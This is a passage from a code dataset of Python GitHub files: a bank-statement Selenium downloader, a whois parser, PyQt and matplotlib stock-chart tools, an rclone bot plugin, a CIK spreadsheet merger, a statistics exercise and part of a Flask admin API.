self.wait.until(EC.presence_of_element_located((By.XPATH, \"//*[contains(text(),'You have successfully logged out of banking')]\")))\n        print(\"Successfully logged out\")\n\n\ndef download_csv_file() -> str:\n    with closing(FnbWebsite()) as website:\n        try:\n            username, password = read_credentials()\n\n            website.login(username, password)\n            website.navigate_logged_in()\n            website.navigate_my_bank_accounts()\n            website.navigate_my_bank_accounts_more_overlay()\n            website.navigate_transaction_history()\n            website.navigate_transaction_history_download_overlay()\n\n        finally:\n            website.logout()\n        zip_filename = website.downloaded_filename()\n\n    with zipfile.ZipFile(zip_filename) as zip_file:\n        names = zip_file.namelist()\n        zip_file.extractall(website.download_directory)\n        assert len(names) == 1\n        return os.path.join(website.download_directory, names[0])\n\n\nif __name__ == \"__main__\":\n    if sys.platform.startswith(\"linux\"):\n        from pyvirtualdisplay import Display\n\n        display = Display(visible=0, size=(1920, 1080))\n        display.start()\n\n    download_csv_file()\n","repo_name":"edisongustavo/fnb","sub_path":"src/fnb/website.py","file_name":"website.py","file_ext":"py","file_size_in_byte":6945,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"73708949693","text":"path3 = \"C:\\\\Users\\\\atish\\\\PycharmProjects\\\\WEBSCANNER\\\\Result\\\\info\\\\whois.txt\"\r\nwith open(path3, \"r\") as f4:\r\n    str = f4.read()\r\n    c = str.find(\"Name Server\")\r\n    c1 = str.find(\"DN\")\r\n    c=c+15\r\n    c1=c1-4\r\n    f4.seek(c)\r\n    print(f4.read(c1-c))\r\n    d = str.find(\"Domain ID\")\r\n    d1 = str.find(\"Registrar WHOIS\")\r\n    d = d+13\r\n    d1 = d1-4\r\n    f4.seek(d)\r\n    print(f4.read(d1 - d))","repo_name":"im-aaditya579/Webscanner","sub_path":"search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"23748379221","text":"from PyQt5 import QtWidgets, QtCore, QtGui\nimport os\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom scrapy import cmdline\nimport time\n\n\n\nimport sys\nfrom UI_show import Ui_MainWindow\nfrom PyQt5.QtWidgets import QApplication, QMainWindow\n\nclass show(QtWidgets.QMainWindow,Ui_MainWindow):\n    def __init__(self):\n\n        super(show, self).__init__()\n        self.setupUi(self)\n\n        #设置窗口的标题\n        self.setWindowTitle(\"二手房爬虫界面\")\n\n        # 设置窗口的图标,引用当前目录下的spider.png图片\n        self.setWindowIcon(QIcon('spider.jpg'))\n\n        #为界面插入背景图\n        self.setStyleSheet(\"#MainWindow{border-image:url(F:/TSU/Second_House/house.jpg);}\")\n\n        #设置透明\n        self.setWindowOpacity(1)\n\n        #设置label字体颜色\n        self.label_2.setStyleSheet(\"color:red\")\n        #设置label背景颜色\n        # self.label_2.setStyleSheet(\"background-color:red\")\n\n        #按钮绑定连接\n        # self.run_Button.clicked.connect(self.run_spider)\n        self.apart_Button.clicked.connect(self.apart_layout)\n        self.unit_Button.clicked.connect(self.unit_price)\n        self.address_Button.clicked.connect(self.address)\n        self.run_view_Button.clicked.connect(self.run_Visualization)\n\n\n    # #运行爬虫\n    # def run_spider(self):\n    #     cmdline.execute('scrapy crawl second_house'.split())\n    #     # a = visualization()\n\n    #运行数据分析模块\n    def run_Visualization(self):\n        os.system(\"python Visualization.py\")\n        time.sleep(2)\n        print(\"分析完成,结果保存在本地\")\n\n\n    #可视化户型数量\n    def apart_layout(self):\n        jpg = QtGui.QPixmap(\"F:\\TSU\\Second_House\\image\\House_type.jpg\").scaled(self.label.width(),\n                                                                                  self.label.height())\n        self.label.setPixmap(jpg)\n        print(\"如图显示\")\n\n    #可视化各个地区房源均价\n    def unit_price(self):\n        jpg = QtGui.QPixmap(\"F:\\TSU\\Second_House\\image\\House_unit.jpg\").scaled(self.label.width(),\n                                                                                  self.label.height())\n        self.label.setPixmap(jpg)\n        print(\"如图显示\")\n\n    #可视化各个地区房源数量\n    def address(self):\n        jpg = QtGui.QPixmap(\"F:\\TSU\\Second_House\\image\\House_address.jpg\").scaled(self.label.width(),\n                                                                                  self.label.height())\n        self.label.setPixmap(jpg)\n        print(\"如图显示\")\n\nif __name__ == \"__main__\":\n    #每一pyqt5应用程序必须创建一个应用程序对象。sys.argv参数是一个列表,从命令行输入参数。\n    app = QtWidgets.QApplication(sys.argv)\n    my = show()\n    my.show()\n    # 系统exit()方法确保应用程序干净的退出\n    # 的exec_()方法有下划线。因为执行是一个Python关键词。因此,exec_()代替\n    sys.exit(app.exec_())\n\n\n","repo_name":"impxiahuaxian/fangyuanzhanshi","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"19537550123","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# (c) gautamajay52\nimport asyncio\nimport logging\nimport os\nimport re\nimport subprocess\n\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\nfrom tobrot import DESTINATION_FOLDER, EDIT_SLEEP_TIME_OUT, LOGGER, RCLONE_CONFIG\n\n\nasync def check_size_g(client, message):\n    # await asyncio.sleep(EDIT_SLEEP_TIME_OUT)\n    del_it = await message.reply_text(\"🔊 Checking size...wait!!!\")\n    if not os.path.exists(\"rclone.conf\"):\n        with open(\"rclone.conf\", \"w+\", newline=\"\\n\", encoding=\"utf-8\") as fole:\n            fole.write(f\"{RCLONE_CONFIG}\")\n    if os.path.exists(\"rclone.conf\"):\n        with open(\"rclone.conf\", \"r+\") as file:\n            con = file.read()\n            gUP = re.findall(\"\\[(.*)\\]\", con)[0]\n            LOGGER.info(gUP)\n    destination = f\"{DESTINATION_FOLDER}\"\n    cmd = [\"rclone\", \"size\", \"--config=./rclone.conf\", f\"{gUP}:{destination}\"]\n    gau_tam = await asyncio.create_subprocess_exec(\n        *cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE\n    )\n    gau, tam = await gau_tam.communicate()\n    LOGGER.info(gau)\n    LOGGER.info(tam)\n    LOGGER.info(tam.decode(\"utf-8\"))\n    gautam = gau.decode(\"utf-8\")\n    LOGGER.info(gautam)\n    await asyncio.sleep(5)\n    await message.reply_text(f\"🔊CloudInfo:\\n\\n{gautam}\")\n    await del_it.delete()\n\n\n# gautamajay52\n\n\nasync def g_clearme(client, message):\n    inline_keyboard = []\n    ikeyboard = []\n    ikeyboard.append(\n        InlineKeyboardButton(\"Yes 🚫\", callback_data=(\"fuckingdo\").encode(\"UTF-8\"))\n    )\n    ikeyboard.append(\n        InlineKeyboardButton(\"No 🤗\", callback_data=(\"fuckoff\").encode(\"UTF-8\"))\n    )\n    inline_keyboard.append(ikeyboard)\n    reply_markup = InlineKeyboardMarkup(inline_keyboard)\n    await message.reply_text(\n        \"Are you sure? 🚫 This will delete all your downloads locally 🚫\",\n        reply_markup=reply_markup,\n        quote=True,\n    )\n","repo_name":"MaxxRider/Leech-Pro","sub_path":"tobrot/plugins/rclone_size.py","file_name":"rclone_size.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","stars":434,"dataset":"github-code","pt":"78"}
+{"seq_id":"635172914","text":"# -*- coding: gbk -*-\nimport gl\n\nimport time\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport collections  \n#from pylab import *\n\nmpl.rcParams['font.sans-serif'] = ['SimHei']\nmpl.rcParams['axes.unicode_minus'] = False\n\ndef gettime():\n    return time.strftime(\"%Y%m%d_%H:%M\",time.localtime(time.time()))\ndef getdate(): \n    return time.strftime('%Y%m%d',time.localtime(time.time()))\n    \ntmpmap = collections.OrderedDict()\nsubmap = collections.OrderedDict()\n\n日期list=[]\n#个股Klist=[]\n总手list=[]\n金额list=[]\n换手list=[]\n均5list =[]\n均10list=[]\n均20list=[]\n均30list=[]\n均60list=[]\n\n最高list=[]\n最低list=[]\n        \ncnt_rule_pic = 0\nxstep = 0.5\noffset = (xstep - 0.1) / 2\n换trans = 20\n\ndef sub_view(submap, code):\n    global 日期list,总手list,金额list,换手list,\\\n            均5list,均10list,均20list,均30list,均60list\n    global cnt_rule_pic\n     \n    日期list.clear()\n    总手list.clear()\n    金额list.clear()\n    换手list.clear()\n    均5list .clear()\n    均10list.clear()\n    均20list.clear()\n    均30list.clear()\n    均60list.clear()\n    \n    最高list.clear()\n    最低list.clear()\n    \n    for (d,x) in submap.items():\n        日期list.append(d)\n        总手list.append(x[\"V\"][0])\n        金额list.append(x[\"V\"][1])\n        换手list.append(x[\"V\"][2])\n        均5list.append(x[\"均\"][0])\n        均10list.append(x[\"均\"][1])\n        均20list.append(x[\"均\"][2])\n        均30list.append(x[\"均\"][3])\n        均60list.append(x[\"均\"][4])\n        \n        最高list.append(x['基K'][1])\n        最低list.append(x['基K'][2])\n    #end of \"for\"\n        \n    xpos = np.arange(0, len(日期list)*xstep, xstep)\n    xoffset= xpos + offset\n    \n    #####fig, ax = plt.subplots()   \n    fig = plt.figure(3)                      # Create a `figure' instance\n    ax = fig.add_subplot(111)  \n    #ax2 = fig.add_subplot(311) \n    #ax3 = fig.add_subplot(312) \n    # 设置图的底边距\n    fig.subplots_adjust(bottom = 0.15)\n    fig.subplots_adjust(top = 0.8)\n    #fig.subplots_adjust(right = 10)\n    #fig.subplots_adjust(left = 0.05)\n    #fig.grid() #开启网格\n    ax.set_xticks(xpos)\n    ax.set_xticklabels(日期list, rotation=90, fontsize=6)\n    ax.plot(xoffset, 均5list,  '.-', alpha = 0.5, color ='y')\n    ax.plot(xoffset, 均10list, '-', alpha = 0.5, color ='yellowgreen')\n    ax.plot(xoffset, 均20list, '-', alpha = 0.5, color ='lightskyblue')\n    ax.plot(xoffset, 均30list, '-', alpha = 0.5, color ='c')\n    ax.plot(xoffset, 均60list, '-', alpha = 0.5, color ='m')\n    \n    i = 0\n    for (d, x) in submap.items():\n        日期 = d\n        开盘 = x['基K'][0]\n        最高 = x['基K'][1]\n        最低 = x['基K'][2]\n        收盘 = x['基K'][3]\n        换 = x['换'] \n        量 = x['V']\n        V_ma5 = x['V_ma'][0]\n        V_ma10= x['V_ma'][1]\n        V_ma20 = x['V_ma'][2]\n        \n        if 收盘 > 开盘:\n            ax.bar(xpos[i], 收盘-开盘, bottom = 开盘, width = .4, alpha = .5, facecolor ='r', edgecolor='r',linewidth=0.5)\n            ax.bar(xoffset[i], 最高-最低, bottom = 最低, width = .015, alpha = .5, facecolor ='r', edgecolor='r',linewidth=0.5)\n        elif 开盘 > 收盘:\n            ax.bar(xpos[i], 开盘-收盘, bottom = 收盘, width = .4, alpha = .5, facecolor ='green', edgecolor='green',linewidth=0.5)\n            ax.bar(xoffset[i], 最高-最低, bottom = 最低, width = .015, alpha = .5, facecolor ='green', edgecolor='green',linewidth=0.5)\n        else: #开盘==收盘:\n            ax.bar(xpos[i], 0.005, bottom = 开盘, width = .4, alpha = .5, facecolor ='r', edgecolor='r',linewidth=0.5)\n            ax.bar(xoffset[i], 最高-最低, bottom = 最低, width = .015, alpha = .5, facecolor ='r', edgecolor='r',linewidth=0.5) \n        #end of \"if\"\n\n        换btm = min(最低list) * 0.9\n        ax.bar(xpos[i], 20/换trans, bottom = 换btm, width = .4, alpha = .02, facecolor ='black', edgecolor='black',linewidth=0.5)\n        ax.bar(xpos[i], 10/换trans, bottom = 换btm, width = .4, alpha = .025, facecolor ='black', edgecolor='black',linewidth=0.5)\n        ax.bar(xpos[i], 5/换trans, bottom = 换btm, width = .4, alpha = .03, facecolor ='black', edgecolor='black',linewidth=0.5)\n        ax.bar(xpos[i], 2/换trans, bottom = 换btm, width = .4, alpha = .05, facecolor ='black', edgecolor='black',linewidth=0.5)\n        \n        换 = 换 / 换trans\n        if 收盘 > 开盘:\n            ax.bar(xpos[i], 换, bottom = 换btm, width = .4, alpha = .3, facecolor ='r', edgecolor='r',linewidth=0.5)\n        else:\n            ax.bar(xpos[i], 换, bottom = 换btm, width = .4, alpha = .3, facecolor ='green', edgecolor='green',linewidth=0.5)\n        \n            \n\n        if  '分析结果' in x:\n            结果cnt = 0\n            #画矩形\n            #squal_x = [xpos[i], xpos[i], xpos[i] + xstep*10]\n            #squal_y = [开盘, 开盘*1.2, 开盘*1.2]\n            squal_x = [xoffset[i], xoffset[i]]\n            squal_y = [收盘, 收盘*1.12]\n            ax.plot(squal_x, squal_y, '--', alpha = 0.7, color = 'm', linewidth=0.2)\n            for (d2, x2) in x['分析结果'].items():\n                #print(日期, d2, x2)\n                ruleID = d2[4:]\n                if not ruleID=='0':\n                    #写文字\n                    ax.text(xpos[i], 收盘*1.093+结果cnt*0.015*收盘, d2+' '+x2, alpha = 0.7, color = 'r', fontsize = 6)\n                    #ruleID\n                    ax.text(xpos[i], 收盘*1.087-结果cnt*0.015*收盘, '('+ruleID+')', color = 'g', fontsize = 6)\n                    结果cnt = 结果cnt + 1\n                #endof 'if'\n            #end of \"for\"\n        #end of \"if\"       \n        i = i + 1\n    #endof 'for'\n            \n    #if os.path.exists(gl.path_view_rst+code) <= 0:    #判断目标是否存在\n    #    os.mkdir(gl.path_view_rst+code)\n    cnt_rule_pic = cnt_rule_pic + 1\n    fig.savefig(gl.path_view_rst+code+'_告警_%d_'%cnt_rule_pic+日期+'.png', dpi = 200)\n\n    fig.clear()\n    ax.clear()\n    #ax2.clear()\n    #ax3.clear()\n    del fig\n    del ax\n    #del ax2\n    #del ax3\n    #plt.show() \n#end of \"def\"\n\n\n\ndef rules_group_find(tmpmap, d):\n    \n    flag = 0\n    #####################################################分类整理\n    #####################################################形态3个一般 flag=1\n    cnt = len(tmpmap[d][1]['分析结果'])\n    if cnt>=3:\n        flag = 1\n    #####################################################大形态重要 flag=8\n    ####专用策略:空中加油        \n    if  'rule50' in tmpmap[d][1]['分析结果']:\n        flag = 8   \n    if  'rule51' in tmpmap[d][1]['分析结果']:\n        flag = 8       \n    if  'rule52' in tmpmap[d][1]['分析结果']:\n        flag = 8     \n    if  'rule53' in tmpmap[d][1]['分析结果']:\n        flag = 8   \n    if  'rule54' in tmpmap[d][1]['分析结果']:\n        flag = 8   \n    \n    ####组合策略        \n    if  'rule70' in tmpmap[d][1]['分析结果']:\n        flag = 8    \n        \n    if  'rule80' in tmpmap[d][1]['分析结果']:\n        flag = 8    \n    if  'rule81' in tmpmap[d][1]['分析结果']:\n        flag = 8   \n    if  'rule82' in tmpmap[d][1]['分析结果']:\n        flag = 8   \n\n    #####################################################大形态一般 flag=7\n    if  'rule60' in tmpmap[d][1]['分析结果']:\n        flag = 7    \n    #if  'rule61' in tmpmap[d][1]['分析结果']:\n    #    flag = 7   \n    #if  'rule62' in tmpmap[d][1]['分析结果']:\n    #    flag = 7    \n    #if  'rule63' in tmpmap[d][1]['分析结果']:\n    #    flag = 7   \n    #if  'rule64' in tmpmap[d][1]['分析结果']:\n    #    flag = 7 \n    #if  'rule65' in tmpmap[d][1]['分析结果']:\n    #    flag = 7 \n    #####################################################基本形态重要 flag=6\n    \n    #####################################################基本形态一般 flag=5\n    ####基本(单个)\n    if  'rule3' in tmpmap[d][1]['分析结果']:\n        flag = 5 \n    if  'rule7' in tmpmap[d][1]['分析结果']:\n        flag = 5\n    if  'rule8' in tmpmap[d][1]['分析结果']:\n        flag = 5\n    if  'rule12' in tmpmap[d][1]['分析结果']:\n        flag = 5\n    if  'rule13' in tmpmap[d][1]['分析结果']:\n        flag = 5\n    if  'rule14' in tmpmap[d][1]['分析结果']:\n        flag = 5\n    if  'rule15' in tmpmap[d][1]['分析结果']:\n        flag = 5\n    if  'rule17' in tmpmap[d][1]['分析结果']:\n        flag = 5\n        \n    ####基本 + 当日涨停(重要条件)\n    if  'rule121' in tmpmap[d][1]['分析结果']:\n        if  'rule1' in tmpmap[d][1]['分析结果']:\n            flag = 5\n        if  'rule2' in tmpmap[d][1]['分析结果']:\n            flag = 5\n        if  'rule4' in tmpmap[d][1]['分析结果']:\n            flag = 5\n        if  'rule5' in tmpmap[d][1]['分析结果']:\n            flag = 5\n        if  'rule9' in tmpmap[d][1]['分析结果']:\n            flag = 5\n        if  'rule11' in tmpmap[d][1]['分析结果']:\n            flag = 5\n        #end if\n    #end if\n    #####################################################        \n    return flag, cnt    \n#endof 'def'\n\n\ndef sub_grpview_mng(code):\n    global tmpmap, submap, cnt_rule_pic\n    \n    lenk = len(tmpmap)\n    左K = -50\n    右K = 50\n    flag重要级别 = 0    \n    cnt_rule_pic = 0\n    pos = 0\n    for (d, x) in tmpmap.items():\n        if '分析结果' in x[1]:\n            #日期 = x[0]\n            flag, cnt = rules_group_find(tmpmap, d)      #规则组合设计\n            if flag >= 1:\n                left = -pos\n                if left < 左K:\n                    left = 左K\n                right = lenk-pos\n                if right > 右K:\n                    right = 右K\n                #print(left)\n                #print(right)\n                for j in range(left, right):\n                    submap[tmpmap[d+j][0]] = tmpmap[d+j][1] #submap_index为data\n                #endof 'for'\n                \n                sub_view(submap, code)\n               \n                submap.clear()\n                \n                if flag > flag重要级别:\n                    flag重要级别 = flag\n            #endof 'if'    \n        #endof 'if'\n        pos = pos + 1\n    #end of \"for\"\n        \n    if flag重要级别 >= 1:\n        #保存当日选股数,最后存入acc\n        gl.当天选股数 = gl.当天选股数 + 1\n\n        #选股列表,用于发送email\n        if flag重要级别 == 8:\n            gl.信息dict['大形态重要'].append(code)\n        elif flag重要级别 == 7:\n            gl.信息dict['大形态一般'].append(code)\n        elif flag重要级别 == 6:\n            gl.信息dict['基本形态重要'].append(code)\n        elif flag重要级别 == 5:\n            gl.信息dict['基本形态一般'].append(code)\n        elif flag重要级别 == 1:\n            gl.信息dict['形态3个一般'].append(code)\n        \n        #'a':文件追加写入\n        if code[0:1] == '6':\n            flag = '\\x07\\x11'\n        elif code[0:1] == '0' or code[0:1] == '3':\n            flag = '\\x07\\x21'\n        else:\n            flag = '\\x07\\x24'\n        with open(gl.path_view_rst + '导入code_' + getdate() + \".sel\", 'a') as out:\n            out.write(flag + code)\n    #endof \"with\"\n#enf of \"def\"\n\n\n#mdl\ndef mdl_grpview(viewfileoutmap):\n    global tmpmap\n    \n    code = gl.STCode\n    i=0\n    for (d, x) in viewfileoutmap.items():\n        tmpmap[i] = [d, x]\n        i = i + 1\n    #end of \"for\"\n    #显示满足规则的子图\n    sub_grpview_mng(code)\n    tmpmap.clear()\n    #按照最佳组合、或者一天同时出现多种入了满足时,星号标记\n    ##############################mdl_view_ring()\n    print(\"6:grp画图完毕!\")\n#endof 'def'\n\n\n","repo_name":"lugarnett/Auto_alarm_2","sub_path":"grpView.py","file_name":"grpView.py","file_ext":"py","file_size_in_byte":11138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"32800842605","text":"import os\r\nimport keyboard\r\nimport time\r\nimport sys\r\nimport urllib.request\r\nfrom PIL import Image\r\nfrom PIL import ImageDraw \r\n\r\nfileurl = sys.argv[1]\r\nfileurl = fileurl.replace(\"print:\", \"\")\r\n\r\nnewfilename = \"D:\\\\image-cmyk-new.jpg\"\r\ncurrentfilename = \"D:\\\\image-rgb.jpg\"\r\n\r\nurllib.request.urlretrieve(fileurl, currentfilename)\r\n\r\n# Function for print file\r\ndef print_file(file):\r\n    os.startfile(file, \"print\")\r\n\r\n# Function for check if image is in RGB color format\r\ndef fileColorMode(file):\r\n    image = Image.open(file)\r\n    mode = image.mode\r\n    print('File details:')\r\n    print('Color mode: ' + mode)\r\n    return mode  \r\n\r\n# Function for translate RGB image to CMYK image\r\ndef translateImage(currentfilename, newfilename):\r\n    Image.open(currentfilename).convert('CMYK').save(newfilename)\r\n\r\n\r\nif fileColorMode(currentfilename) != \"CMYK\":\r\n    # translate image color to CMYK and print\r\n    translateImage(currentfilename, newfilename)\r\n    print (\"File successfully converted\")\r\n    fileColorMode(newfilename)\r\n    print_file(newfilename)\r\nelse:\r\n    print_file(currentfilename)\r\n    fileColorMode(currentfilename)\r\n\r\ninput(\"Press enter to exit\")\r\n\r\n# Show translated image color format ( was RGB now CMYK )\r\n\r\n\r\n","repo_name":"thehovdev/print-py","sub_path":"print.py","file_name":"print.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"31625853164","text":"\"\"\"\nAuthor: Justin Pham\nDate: 2/21/2023\nDescription: Merges the two spreadsheets to match the respective companies' CIK number\n\"\"\"\n\nimport openpyxl\nfrom fuzzywuzzy import fuzz\nfrom fuzzywuzzy import process\n\n\ndef reformat_name(name):\n    \"\"\"\n    Removes undesired phrases in a string; also replaces . with a space\n    \"\"\"\n    undesired = [\"inc.\", \"limited\", \"inc\", \"llc\", \"llc.\", \"l.l.c.\", \"(tiso)\", \"corp\", \"corp.\", \"ltd\", \"ltd.\", \"and other issuers\", \"et al.\", \"tiso\", \"l.p.\", \"lp\", \"company\", \"corp\", \"corporation\"]\n\n    # Make all characters lower case and split them into different lists\n    temp = name.lower()\n    temp = temp.strip(\" \")\n    temp = temp.split(\" \")\n    reform_name = \"\"  # Return value\n\n    # Remove any undesired phrases in the list\n    for i in range(len(temp)):\n        if temp[i] not in undesired:\n            reform_name += temp[i]\n            reform_name += \" \"\n\n    # Change characters to be more readable to the search\n    reform_name = reform_name.replace(\",\", \"\")\n    reform_name = reform_name.replace(\".com\", \" com\")\n    reform_name = reform_name.rstrip(\" .s\")\n    return reform_name\n\n\ndef compare_name(name1, name2):\n    \"\"\"\n    Compares the two company names using fuzzywuzzy name matching\n    \"\"\"\n\n    # Reformat the name so comparing is consistent between two sheets\n    company1 = reformat_name(name1)\n    company2 = reformat_name(name2)\n\n    # Use fuzzywuzzy name matching to compare the score between the two companies\n    ratio = fuzz.ratio(company1, company2)\n    return ratio\n\n\ndef binary_company_search(company, current):\n    \"\"\"\n    Uses binary search to find a matching company's CIK number\n    \"\"\"\n\n    lo = 2\n    hi = 1020564\n    while lo <= hi:\n        mid = int((lo + hi) / 2)\n        # Used to find alphabetical order\n        sort = [company, str(past_cik['B'+str(mid)].value)]\n        sort.sort(key=str.lower)\n\n        # If the company is found with a 90% match return it\n        if compare_name(company, str(past_cik['B'+str(mid)].value)) >= 90:\n            new_cik['F'+str(current)].value = past_cik['B'+str(mid)].value\n            return past_cik['A'+str(mid)].value\n        # If the company is alphabetically lower than the midpoint\n        elif sort[0] == company:\n            hi = mid - 1\n        # If the company is alphabetically higher than the midpoint\n        else:\n            lo = mid + 1\n\n    # If no match is found\n    new_cik['F' + str(current)].value = \"N/A\"\n    return \"N/A\"\n\n\n# Open Excel Files for Merge\nfile1 = openpyxl.load_workbook(\"InvestigationsJul20toSep21.xlsx\")\nnew_cik = file1['Sheet1']\nprint(\"Loaded Workbook 1\")\nfile2 = openpyxl.load_workbook(\"sec_cik_header_file.xlsx\")\npast_cik = file2['Sheet1']\nprint(\"Loaded Workbook 2\")\n# Create a new column for \"matched company\" to help validate results\nnew_cik['F1'] = \"Matched Company\"\n\n# Loop for every company name\nfor x in range(2, 1164):\n\n    print(\"Searching for \" + str(new_cik['A'+str(x)].value) + \" (Company #\" + str(x - 1) + \")\")\n    # Search for company in the other spreadsheet using binary search\n    cik = binary_company_search(new_cik['A'+str(x)].value, x)\n    # Input CIK number if found in the new spreadsheet\n    new_cik['E'+str(x)].value = cik\n    if cik == \"N/A\":\n        print(\"No matching CIK found\")\n    else:\n        print(\"Matching CIK: \" + str(cik))\n\nfile1.save('MergedCIKsForInvestigationsJul20toSep21.xlsx')\nfile1.close()\nfile2.close()\n","repo_name":"justpham/MergeCIKSheets","sub_path":"merge_cik.py","file_name":"merge_cik.py","file_ext":"py","file_size_in_byte":3388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"27165685346","text":"import math\nimport os\nimport random\nimport re\nimport sys\n\n\ndef calculate_median(arr):\n    middle = int(len(arr)/2)\n    if len(arr) % 2 == 0:\n        return int((arr[middle-1] + arr[middle]) / 2)\n    else:\n        return arr[middle]\n\n\ndef interQuartile(values, freqs):\n    # https://stackoverflow.com/a/29244613/9610844\n    dataset = sum([[v] * f for v, f in zip(values, freqs)], [])\n\n    dataset.sort()\n    middle = int(len(dataset)/2)\n\n    q1 = calculate_median(dataset[:middle])\n    median = calculate_median(dataset)\n    if len(dataset) % 2 == 0:\n        q3 = calculate_median(dataset[middle:])\n    else:\n        q3 = calculate_median(dataset[middle+1:])\n\n    print(\"{:.1f}\".format(round(q3 - q1, 1)))\n\n\nif __name__ == '__main__':\n    n = int(input().strip())\n\n    val = list(map(int, input().rstrip().split()))\n\n    freq = list(map(int, input().rstrip().split()))\n\n    interQuartile(val, freq)\n","repo_name":"TannerGilbert/HackerRank-Solutions","sub_path":"10DaysOfStatistics/day_1_interquartile_range.py","file_name":"day_1_interquartile_range.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"78"}
+{"seq_id":"20214243703","text":"# -*- coding: utf8 -*-\n# @author: yinan\n# @time: 18-7-15 下午3:02\n# @filename: sys_admin_controller.py\nimport base64\nimport re\nimport time\nimport datetime\n\nfrom flask import Blueprint, request, jsonify\n\nfrom application.auth.sys_authenticate import jwt_required\nfrom application.auth.sys_verificate import set_password, Verificate\nfrom application.constant import response\nfrom application.constant.constant import Code, Message, Constant\nfrom application.constant.util import CommonUtil\nfrom application.models.article import Article\nfrom application.models.system_user import SysUser\nfrom application.models.tag import Tag\n\nadmin = Blueprint('sysadmin', __name__)\n\n\n@admin.route(\"/validate_token\", methods=['POST'])\n@jwt_required\ndef validate(message):\n    \"\"\"\n    校验token是否合法\n    :return:\n    \"\"\"\n    result = jsonify(message)\n\n    return result\n\n\n@admin.route('/info', methods=['GET'])\n@jwt_required\ndef info_page(message):\n    \"\"\"\n    用户信息页面\n    :return:\n    \"\"\"\n    if message['code'] != Code.SUCCESS.value:\n        return jsonify(message)\n    username = request.values.get('username')\n    sys_user = SysUser.get_info(username)\n    token = Verificate.encode_auth_token(sys_user.id, sys_user.last_login.strftime(\"%Y-%m-%d %H:%M:%S\"))\n    data = {\n        'info': {\n            'username': sys_user.username,\n            'password': sys_user.password,\n            'email': sys_user.email,\n            'avatar': sys_user.avatar\n        },\n        'token': token.decode()\n    }\n    return jsonify(response.return_message(data, Message.SUCCESS.value, Code.SUCCESS.value))\n\n\n@admin.route('/login', methods=['POST'])\ndef login():\n    \"\"\"\n    管理员登录\n    :return: 基本信息以及token\n    \"\"\"\n    username = request.values.get('username')\n    password = request.values.get('password')\n    return Verificate.authenticate(username, password)\n\n\n@admin.route('/register', methods=['POST'])\ndef register():\n    \"\"\"\n    注册管理员\n    :return: 用户基本信息\n    \"\"\"\n    username = request.values.get('username')\n    password = set_password(request.values.get('password'))\n    email = request.values.get('email')\n    avatar = request.values.get('avatar')\n    sys_user = SysUser(username, password, email, avatar)\n    result = SysUser.save(sys_user)\n    if result is None:\n        sys_user = SysUser.get_info(username)\n        data = {\n            \"id\": sys_user.id,\n            \"username\": username\n        }\n        return jsonify(response.return_message(data, Message.REGISTER_SUCCESS.value, Code.SUCCESS.value))\n    else:\n        return jsonify(response.return_message(None, Message.REGISTER_FAILED.value, Code.BAD_REQUEST.value))\n\n\n@admin.route('/upload', methods=['POST'])\n@jwt_required\ndef upload(message):\n    \"\"\"\n    上传图片\n    :return: 返回图片链接\n    \"\"\"\n    if message['code'] != Code.SUCCESS.value:\n        return jsonify(message)\n    base64_str = request.values.get('img')\n    username = request.values.get('username')\n    CommonUtil.handle_img(base64_str, 'avatar')\n    remote_name = str(int(time.time()))\n    CommonUtil.upload_img('avatar.jpg', remote_name, '.jpg')\n    result = CommonUtil.upload_img('avatar.webp', remote_name)\n    if result is not None:\n        result_avatar = SysUser.update_avatar(username, result)\n        if result_avatar is None:\n            return jsonify(response.return_message(\n                data={\n                    'image_url': result,\n                    'token': Verificate.encode_auth_token(message['data']['id'], message['data']['last_login']).decode()\n                },\n                msg=Message.UPLOAD_SUCCESS.value,\n                code=Code.SUCCESS.value\n            ))\n    return jsonify(response.return_message(\n        data=None,\n        msg=Message.UPLOAD_FAILED.value,\n        code=Code.BAD_REQUEST.value\n    ))\n\n\n@admin.route('/info', methods=['POST'])\n@jwt_required\ndef change_info(message):\n    \"\"\"\n    修改个人信息\n    :return:\n    \"\"\"\n    if message['code'] != Code.SUCCESS.value:\n        return jsonify(message)\n    params = request.values.to_dict()\n    if params['password'] == '':\n        result = SysUser.update_email(params['username'], params['email'])\n    else:\n        passwords = set_password(params['password'])\n        sys_user = SysUser(params['username'], passwords, params['email'], params['avatar'])\n        result = SysUser.update(sys_user)\n    if result is None:\n        # 为空说明存入数据库没有报错\n        sys_user = SysUser.get_info(params['username'])\n        token = Verificate.encode_auth_token(sys_user.id, sys_user.last_login.strftime(\"%Y-%m-%d %H:%M:%S\"))\n        data = {\n            'info': {\n                'username': sys_user.username,\n                'password': sys_user.password,\n                'email': sys_user.email,\n                'avatar': sys_user.avatar\n            },\n            'token': token.decode()\n        }\n        return jsonify(response.return_message(data, Message.SUCCESS.value, Code.SUCCESS.value))\n    else:\n        return jsonify(response.return_message(None, Message.BAD_REQUEST.value, Code.BAD_REQUEST.value))\n\n\n@admin.route('/upload_image', methods=['POST'])\n@jwt_required\ndef upload_image(message):\n    \"\"\"\n    图片上传到腾讯cos\n    :return:\n    \"\"\"\n    if message['code'] != Code.SUCCESS.value:\n        return jsonify(message)\n    base64_str = 